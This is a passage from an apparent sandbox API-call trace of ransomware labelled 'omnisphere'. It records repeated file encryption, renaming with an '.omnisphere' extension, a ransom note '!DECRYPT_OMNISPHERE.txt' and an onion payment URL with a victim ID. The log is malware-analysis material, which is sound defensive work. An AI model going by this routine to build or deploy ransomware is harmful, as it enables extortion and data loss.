pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.680] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.681] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.682] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.683] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.683] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.683] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.683] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.683] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.685] CryptDestroyKey (hKey=0x1639b28) returned 1 [0074.685] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0074.685] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x161b4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.685] WriteFile (in: hFile=0x380, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0074.685] GetProcessHeap () returned 0x1600000 [0074.685] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x276) returned 0x1649e70 [0074.685] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ywvxv9u.gif"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ywvxv9u.gif.omnisphere")) returned 1 [0074.686] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif.omnisphere.id" [0074.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ywvxv9u.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0074.686] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0074.687] CloseHandle (hObject=0x3a0) returned 1 [0074.688] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0074.689] CloseHandle (hObject=0x3bc) returned 1 [0074.689] SetEndOfFile (hFile=0x380) returned 1 [0074.689] FlushFileBuffers (hFile=0x380) returned 1 [0074.749] CloseHandle (hObject=0x380) returned 1 [0074.749] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0074.749] GetProcessHeap () returned 0x1600000 [0074.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164a0f0 [0074.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.749] GetProcessHeap () returned 0x1600000 [0074.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f490 [0074.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f490, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0074.749] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0074.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.749] GetProcessHeap () returned 0x1600000 [0074.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f4b0 [0074.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f4b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0074.749] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0074.749] GetProcessHeap () returned 0x1600000 [0074.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668b48 [0074.749] PathCombineW (in: pszDest=0x1668b48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0074.750] GetProcessHeap () returned 0x1600000 [0074.750] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16635b0 [0074.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.750] WriteFile (in: hFile=0x380, lpBuffer=0x16635b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x16635b0*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0074.750] CloseHandle (hObject=0x380) returned 1 [0074.750] GetProcessHeap () returned 0x1600000 [0074.750] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164a0f0 | out: hHeap=0x1600000) returned 1 [0074.750] GetProcessHeap () returned 0x1600000 [0074.750] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f780 [0074.750] PathCombineW (in: pszDest=0x163f780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0074.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.750] WriteFile (in: hFile=0x380, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0074.750] CloseHandle (hObject=0x380) returned 1 [0074.751] GetProcessHeap () returned 0x1600000 [0074.751] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f780 | out: hHeap=0x1600000) returned 1 [0074.751] GetProcessHeap () returned 0x1600000 [0074.751] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0074.751] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86148cc0, ftCreationTime.dwHighDateTime=0x1d4d003, ftLastAccessTime.dwLowDateTime=0xf1f85cc0, ftLastAccessTime.dwHighDateTime=0x1d4d06f, ftLastWriteTime.dwLowDateTime=0xf1f85cc0, ftLastWriteTime.dwHighDateTime=0x1d4d06f, nFileSizeHigh=0x0, nFileSizeLow=0x18e34, dwReserved0=0x0, dwReserved1=0xed, cFileName="yxoK.bmp", cAlternateFileName="")) returned 1 [0074.751] GetProcessHeap () returned 0x1600000 [0074.751] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x60) returned 0x165fbe8 [0074.751] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="yxoK.bmp" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp" [0074.751] StrStrW (lpFirst=".omnisphere", lpSrch=".bmp") returned 0x0 [0074.751] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yxok.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.751] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=101940) returned 1 [0074.751] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x18910, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.751] ReadFile (in: hFile=0x380, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.751] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] GetTickCount () returned 0x1152efc [0074.752] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x1669098) returned 1 [0074.753] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639768) returned 1 [0074.753] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0074.753] CryptDestroyKey (hKey=0x1639768) returned 1 [0074.753] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0074.753] CreateFileMappingW (hFile=0x380, lpFileMappingAttributes=0x0, 